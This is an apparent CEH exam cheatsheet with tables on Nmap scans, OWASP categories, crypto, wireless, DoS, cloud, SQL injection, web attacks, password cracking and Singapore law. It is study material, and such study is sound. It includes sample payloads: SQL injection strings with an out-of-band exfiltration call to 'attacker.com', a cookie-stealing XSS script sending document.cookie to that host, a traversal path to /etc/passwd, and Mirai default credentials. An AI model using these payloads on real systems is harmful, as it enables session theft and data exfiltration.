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CEH Cheatsheet - Last-Mile Review

How to use this file: Read once 24–48h before exam. Memorise the tables, especially the Nmap, OWASP, and Crypto sections. If you can’t explain every row in plain English, go back to the relevant research/ file.


Item Value
Title EC-Council Certified Ethical Hacker (CEH)
Current version v13 (as of Aug 2026)
Format Multiple-choice (MCQ); 4 hours; 125 questions
Pass score ~70% (statistical, not fixed)
Delivery Pearson VUE / ECC exam centre, proctored
ID Passport (international candidates)
Retake 1 free retake with voucher; 14-day cool-down
Cost S$2,200 in SG (voucher only)
Recert 120 ECE credits / 3 years OR retake
Recert cost $250/year or 1,200 ECE/year

Some books show 6 phases (pre-attack + 5). For the exam, memorise 5 (CEH’s own canonical count). Source: EC-Council.

1. Reconnaissance → passive (OSINT) + active (scan)
2. Scanning & Enumeration → ports, services, users, vulns
3. Gaining Access → exploit, password attack, social engineer
4. Maintaining Access → backdoor, rootkit, persistence
5. Covering Tracks → log tampering, timestomp, alternate streams

Pair with the Lockheed Martin Cyber Kill Chain (7 phases): Recon → Weaponisation → Delivery → Exploitation → Installation → C2 → Actions on Objectives.

And MITRE ATT&CK (14 enterprise tactics): Reconnaissance → Resource Development → Initial Access → Execution → Persistence → Privilege Escalation → Defense Evasion → Credential Access → Discovery → Lateral Movement → Collection → Command and Control → Exfiltration → Impact.

Exam tip: if a question says “attacker is at phase 3”, they mean the 5-phase model. If a question lists TTPs, it’s ATT&CK.


Flag Name Use
-sS SYN scan (“half-open”) Default; fast, stealthy
-sT TCP connect scan When you lack raw socket (non-root)
-sU UDP scan Slow, for DNS/SNMP/NFS
-sN NULL scan No flags set; defeats some IDS, Unix-only
-sF FIN scan FIN flag only; same as NULL
-sX XMAS scan FIN+PSH+URG; lit up like a tree
-sA ACK scan Maps firewall rulesets
-sI Idle scan Uses zombie host for source spoofing
-sV Version detection Service banner + version
-O OS fingerprinting
-A Aggressive -sV -O -sC
-Pn Skip host discovery Treat all hosts as up
-p- All 65,535 ports Slow but complete
-T0..-T5 Timing templates 0=paranoid, 5=insane
-f / --mtu Fragment packets IDS evasion
-D RND:10 Decoy scan Hide among 10 random sources
-g 53 Source port Spoof as DNS
--script=default NSE scripts Vuln scan, brute, etc

Exam gotcha: NULL, FIN, XMAS work only against Unix. Windows ports reply RST regardless → results are unreliable.


# Category Example attack Defect
A01 Broken Access Control IDOR, vertical/horizontal privilege escalation Missing authz checks
A02 Cryptographic Failures Plaintext storage, weak hash, no TLS Crypto misuse
A03 Injection (SQLi, NoSQLi, LDAP, cmd) ' OR 1=1-- Untrusted input to interpreter
A04 Insecure Design Missing rate limit on password reset No threat model
A05 Security Misconfiguration Default creds, exposed S3 bucket Misconfig
A06 Vulnerable & Outdated Components Log4Shell, Struts vuln Unpatched deps
A07 Identification & Auth Failures Weak passwords, no MFA, session fixation AuthN broken
A08 Software & Data Integrity Failures SolarWinds, Codecov Unsigned updates, insecure deserialise
A09 Logging & Monitoring Failures No alerting on repeated failed logins Blind spots
A10 SSRF Capital One breach Server fetches user-supplied URL

2025 draft (likely official Q4 2025): added categories around LLM/AI prompt injection and supply-chain compromise via build pipelines (xz-utils class). Verify before exam.


Algo Type Key Strength Use today?
DES Symmetric 56-bit Broken No
3DES Symmetric 168-bit Deprecated 2023 Legacy only
AES Symmetric 128/192/256 Strong Yes — default
Blowfish Symmetric 32–448 bit OK File encryption
RC4 Sym 40–2048 Broken No (TLS banned)
RSA Asym ≥ 2048 Strong (≥ 3072) Yes
ECC Asym 256 Strong, smaller keys Yes (mobile, TLS)
DH Asym 1024–4096 Strong Key exchange
MD5 Hash 128-bit Broken (collisions) No
SHA-1 Hash 160-bit Broken No (SHA-1 collision in 2017)
SHA-2 Hash 224/256/384/512 Strong Yes
SHA-3 Hash 224/256/384/512 Strong Emerging
HMAC MAC varies Strong API signing
  • Birthday attack — hash collisions (find same hash for 2 inputs in √n)
  • Brute force — try all keys
  • Known plaintext — have plaintext + ciphertext → derive key
  • Chosen ciphertext — attacker can choose ciphertexts, learns decryption
  • Man-in-the-middle — intercept DH key exchange
  • Side-channel — power, EM, timing leakage
  • Padding oracle (POODLE) — abuse CBC padding error messages
  • Downgrade — force weakest protocol (SSL 3.0, TLS 1.0)
  • X.509 certificate format
  • CA signs certs; trust flows from root
  • CRL = Certificate Revocation List (outdated, replaced by OCSP)
  • OCSP = real-time cert status
  • Self-signed = not trusted by default
  • BitLocker (Windows), FileVault (macOS), LUKS (Linux)
  • EFS (Windows Encrypting File System) — file-level, not full-disk

Attack Target Tool
WEP cracking 24-bit IV reuse aircrack-ng, airmon-ng
WPA2-PSK cracking 4-way handshake offline brute aircrack-ng + dictionary
KRACK 4-way handshake nonce reuse krackattacks-scripts
Evil twin Captive portal phishing hostapd, wifiphisher, fluxion
Deauth Force reconnect to capture handshake aireplay-ng -0
WPS PIN brute 8-digit PIN, 11K combos reaver, bully
Bluetooth — BlueBorne L2CAP vuln exploitable pre-2017 devices
Bluetooth — BlueSmack L2CAP ping of death l2ping
Bluejacking Send vCard to device btobex
Bluesnarfing Steal contacts/files btobex / vulnerabilities
Standard Year Speed Security
802.11a 1999 54 Mbps WEP
802.11b 1999 11 Mbps WEP
802.11g 2003 54 Mbps WPA
802.11n 2009 600 Mbps WPA2
802.11ac 2014 6.93 Gbps WPA2
802.11ax (Wi-Fi 6/6E/7) 2019+ 9.6+ Gbps WPA3

WPA3 uses SAE (Simultaneous Authentication of Equals), resists offline dictionary. Dragonblood (2019) showed timing side-channel.


Malware
├── Virus
│ ├── File infector
│ ├── Boot sector
│ ├── Macro
│ ├── Polymorphic (changes code)
│ ├── Metamorphic (rewrites itself)
│ └── Multipartite
├── Worm (self-propagating over network)
├── Trojan (disguised as legit)
│ ├── RAT (Remote Access Trojan)
│ ├── Banking trojan
│ ├── Backdoor
│ ├── DDoS trojan (Mirai-class)
│ ├── Downloader / Dropper
│ ├── Exploit kit
│ └── Defacement
├── Rootkit
│ ├── User-mode
│ ├── Kernel-mode
│ └── Bootkit
├── Ransomware
│ ├── Locker (locks screen)
│ ├── Crypto (encrypts files)
│ ├── Double extortion (encrypt + leak)
│ └── RaaS (Ransomware-as-a-Service)
├── Spyware / Keylogger
├── Fileless / LOLBins (PowerShell, WMI, PSExec)
├── Logic bomb (triggers on event)
└── Adware / PUP

Fileless malware uses trusted system tools (PowerShell, WMI, mshta, rundll32) to execute in memory. Hard to detect with signature AV.


Attack Layer Tool Defense
SYN flood L4 (TCP) hping3, LOIC SYN cookies, rate-limit
UDP flood L4 hping3, LOIC Rate-limit, drop
ICMP flood / Smurf L3 ping, smurf Disable directed broadcast
Ping of Death L3 oversized ping -l Patch
Teardrop L3 frag teardrop.c Patch, drop bad frags
Fraggle L3/L4 UDP echo udp echo Disable UDP echo
HTTP flood L7 LOIC, Slowloris WAF, rate-limit, CAPTCHA
Slowloris L7 partial headers slowloris.pl WAF, conn timeout
DNS amplification L3/L4 amp tools Anycast, rate-limit, BCP38
NTP amplification L3/L4 ntpdc Patch NTP, restrict monlist
Memcached DRDoS L3/L4 51,000× amp Disable UDP, auth
Mirai L7 botnet Mirai source Default creds, IoT patches

Botnet = network of compromised hosts (zombies). C&C = command-and-control (IRC, HTTP, P2P, Tor hidden service).


Layer Customer responsible for Provider responsible for
IaaS (EC2) OS, runtime, app, data, IAM Hardware, hypervisor, network
PaaS (RDS, Beanstalk) App, data, IAM OS, runtime, middleware
SaaS (Gmail) Data, users, access Almost everything
  1. Misconfigured S3 / Blob (public buckets) — Tesla, Capital One
  2. SSRF → IMDSv1 — read IAM creds from metadata service (Capital One)
  3. IAM privilege escalationiam:PassRole, sts:AssumeRole abuse
  4. Cloud malware injection — attacker uploads malicious AMI/Container
  5. Cryptojacking — miners in cloud account
  6. Cloud-Network MITM via DNS rebinding / BGP hijack
  7. Container escape — privileged container + kernel exploit
  8. K8s RBAC misconfig — overly permissive ServiceAccount
  • ScoutSuite — multi-cloud auditor
  • Prowler — AWS CIS benchmark
  • Pacu — AWS exploitation framework
  • kube-hunter — K8s vuln scanner
  • Trivy — container image scanner

  • Default credentials (Mirai dictionary of 60+)
  • Open Telnet/SSH on the WAN (Shodan finds them)
  • Insecure firmware updates
  • Weak/no encryption
  • Unnecessary services (UPnP)
  • Recruited 600K+ IoT devices
  • Dictionary: admin/admin, root/xc3511, root/root, default/1234
  • Spread via Telnet brute force
  • Used for largest DDoS ever (1.1 Tbps on Dyn DNS, Oct 2016)
  • Purdue Model (Levels 0–5): physical process → safety → control → supervisory → site operations → enterprise
  • Protocols: Modbus, DNP3, Profinet, EtherNet/IP, IEC 60870-5-104
  • PLCs, SCADA, HMI, DCS
  • Famous attacks: Stuxnet (2010, Iran centrifuges), TRITON/Trisis (2017, Saudi petrochemical), Industroyer (2016, Ukraine grid), PIPEDREAM/CHERNOVITE (2022, ICS toolkit)

OS Attack surface Tool
Android APK reverse, sideloading, permissions, WebView MobSF, Frida, objection, jadx
iOS Jailbreak, IPA reverse, keychain Frida, objection, keychain-dumper
  • MDM = Mobile Device Management
  • BYOD vs COPE (Corporate-Owned, Personally Enabled)
  • Root (Android) / Jailbreak (iOS) = removes OS sandbox

Attack What it does Tool
ARP poisoning Tell victim “I’m the gateway” Ettercap, BetterCAP
MAC flooding Overflow CAM table → hub mode macof
MAC spoofing Impersonate another device macchanger
DHCP starvation Exhaust DHCP pool Yersinia, dhcpstarv
Rogue DHCP Hand out malicious DNS/gateway Yersinia
DNS poisoning Cache fake records Ettercap, dnsspoof
SSL stripping Downgrade HTTPS→HTTP sslstrip
SSL/TLS downgrade (POODLE) Force SSL 3.0 custom proxy
MitM browser Inject into HTTPS via HSTS bypass sslstrip +2

Type How Example
In-band — error-based Cause DB error with details ' → ODBC error
In-band — UNION Append SELECT to original ' UNION SELECT username, password FROM users--
Inferential — boolean blind Ask true/false questions ?id=1' AND 1=1-- vs ?id=1' AND 1=2--
Inferential — time blind Use WAITFOR DELAY '; IF (1=1) WAITFOR DELAY '0:0:5'--
Out-of-band Use DNS/HTTP to exfil '; EXEC xp_dirtree '//attacker.com/'--

Tools: sqlmap (the default), jSQL Injection, Havij (old)


  • Directory traversal../../../etc/passwd
  • HTTP response splitting — CRLF injection in headers
  • HTTP request smuggling — desync between front and back proxy
  • Web cache poisoning — cache malicious response
  • XSS — Reflected, Stored, DOM-based
  • CSRF — force authenticated user action
  • IDOR — change ID in URL, access others’ data
  • XXE — XML external entity read
  • SSRF — server fetches user-supplied URL

Tools: Burp Suite (Pro $449/yr), OWASP ZAP (free), Nikto (web server scanner), wfuzz / ffuf (fuzzing), sqlmap, XSStrike


XSS payload example: <script>document.location='http://attacker.com/?c='+document.cookie</script>

Reflected: payload in request → reflects in response. Stored: payload in DB. DOM: payload in client-side JS.

CSRF defense: SameSite=Strict cookie, CSRF token per request, Origin/Referer check.

CSP (Content-Security-Policy) is the XSS mitigation header.


Hash Length Cracking
LM 14 chars × 2 × DES Trivial; case-insensitive
NTLM MD4(UTF-16LE) Rainbow tables
MD5 128-bit Fast, rainbow tables exist
SHA-1 160-bit Cloud GPU brute
SHA-256 256-bit Slow with bcrypt prepend
bcrypt 60-char output Slow by design (cost)
scrypt 60-char output Memory-hard
Argon2 configurable Memory-hard, modern choice

Tools: Hashcat (CPU+GPU, $0), John the Ripper (CPU, $0), Hydra (online brute)

Modern password storage: Argon2id > bcrypt > scrypt. Never MD5/SHA-* alone.


17. Pen-Test Methodology (NIST SP 800-115 / PTES)

Section titled “17. Pen-Test Methodology (NIST SP 800-115 / PTES)”
1. Planning → scope, ROE, threat model
2. Discovery → passive + active recon
3. Attack → exploit, brute, social
4. Reporting → exec + technical summary
5. Remediation → work with client to fix
6. Re-test → verify fix
Box color Knowledge Time
Black None Most
Gray Partial Some
White Full Least

  • PDPA (2012, amended 2020) — personal data. Consent Obligation, Purpose Limitation, Notification, Access/Correction, Accuracy, Protection, Retention Limitation, Transfer Limitation. DPO required for orgs > 5,000.
  • CMCA (Computer Misuse Act 1993, renamed Computer Misuse and Cybersecurity Act 2017) — unauthorised access, modification, abstraction (added 2017). Penalty: up to 10 years + fine.
  • Cybersecurity Act 2018 — CII (Critical Information Infrastructure) owners must report incidents to CSA within hours; run audits.
  • SkillsFuture SSG — up to 70% subsidy for SG citizens/PRs on approved CEH training.

Authorisation is the #1 defence in any pen-test legal situation. If you don’t have written authorisation, every byte of network traffic is a CMCA violation.


Framework Scope Key idea
PCI DSS 4.0 Card data 12 requirements, segmentation, encryption
ISO 27001 ISMS Risk-based, Annex A 114 controls
ISO 27002 IS controls Implementation guidance
NIST CSF All industries Identify-Protect-Detect-Respond-Recover
NIST 800-53 US federal 1000+ controls
NIST 800-115 Pen-test THE pen-test guide
SOC 2 Service orgs Trust principles: Security, Availability, Confidentiality, Processing Integrity, Privacy
HIPAA US healthcare PHI protections
GDPR EU personal data 72h breach notification, DPO
CSA CCM Cloud Cloud Controls Matrix
FedRAMP US gov cloud Low/Moderate/High baselines
MAS TRM SG financial Technology Risk Management Guidelines

20. Tools to Recognise (by name, not by use)

Section titled “20. Tools to Recognise (by name, not by use)”
Tool Category When you see it on exam
Nmap Scanner Port/service/OS detection
Wireshark Packet capture L2/L3 sniffing
tcpdump CLI sniffer Linux/server sniffing
Metasploit Exploit framework Exploitation, payloads
Burp Suite Web proxy Web app testing
OWASP ZAP Web scanner Free web app testing
sqlmap SQLi Automated SQLi
Nikto Web server Old-school web server scan
Aircrack-ng Wireless WiFi cracking
Kismet Wireless WiFi detection
Hydra Online brute SSH/FTP/HTTP brute
John the Ripper Offline hash Crack hashes CPU
Hashcat Offline hash Crack hashes GPU
Maltego OSINT Link analysis
theHarvester OSINT Email/subdomain recon
recon-ng OSINT Modular recon
Shodan / Censys IoT search Internet-wide scans
Metasploit / Armitage Exploit
Cain & Abel Legacy sniffer Old exam questions
Ettercap MitM L2 MitM
BetterCAP MitM Modern L2/L7 MitM
Mimikatz Windows creds Dump LSASS
Responder LLMNR/NBNS poison Credential capture
BloodHound AD attack paths Visualise AD
PowerView AD recon PowerShell AD
Kismet WiFi IDS
Mimikatz creds
Yersinia L2 attacks DHCP, STP, CDP
Hping3 Packet crafter Custom DoS, scan
Scapy Packet crafter Python, full control
Cuckoo / ANY.RUN Sandbox Malware analysis
IDA Pro / Ghidra RE Binary reverse engineering
YARA Pattern match Malware classification
Wifiphisher Evil twin Captive portal phish
Fluxion Evil twin Hostapd-based
Reaver WPS WPS PIN brute
SET (Social Engineering Toolkit) SE Phishing campaigns

21. Exam-Day Triggers (auto-suspect → answer)

Section titled “21. Exam-Day Triggers (auto-suspect → answer)”
Question says… Think…
“What is the FIRST step in CEH methodology?” Reconnaissance (passive first)
“Which Nmap flag for stealth?” -sS (SYN, half-open)
“Default port for HTTPS?” 443
“Default port for SSH?” 22
“Default port for RDP?” 3389
“Default port for SMB?” 445
“Default port for LDAP?” 389 (636 for LDAPS)
“Default port for SQL Server?” 1433
“Default port for MySQL?” 3306
“Default port for PostgreSQL?” 5432
“Default port for Kafka?” 9092
“What is the BEST defense against XSS?” Input validation + output encoding + CSP
“Defense in depth” Multiple layers; no single point
“Zero Trust” Never trust, always verify; NIST 800-207
“Least privilege” Minimum required access
“Defense against SQLi” Parameterized queries (not escaping)
“Strongest symmetric cipher” AES-256
“Hash collision attack” Birthday
“Which OSI layer for ARP?” L2
“TCP 3-way handshake” SYN → SYN-ACK → ACK
“Which phase of kill chain is most expensive to recover from?” Actions on Objectives (already exfiltrated)
“Pen-test vs red team” Pen-test = scope, find vulns. Red team = goal-based, evade detection.
“Singapore PDPA breach notify” PDPC ASAP, 72h if significant harm
“Singapore CII owner” Report to CSA within prescribed time
“What is the goal of a DoS?” Availability (the A in CIA)

  • Re-read this cheatsheet once
  • Re-read 01-exam-logistics.md § Exam Day
  • Sleep 7+ hours
  • Eat a real breakfast
  • Bring passport, confirmation email, water, snack
  • No new content; trust what you know

You’ve got this.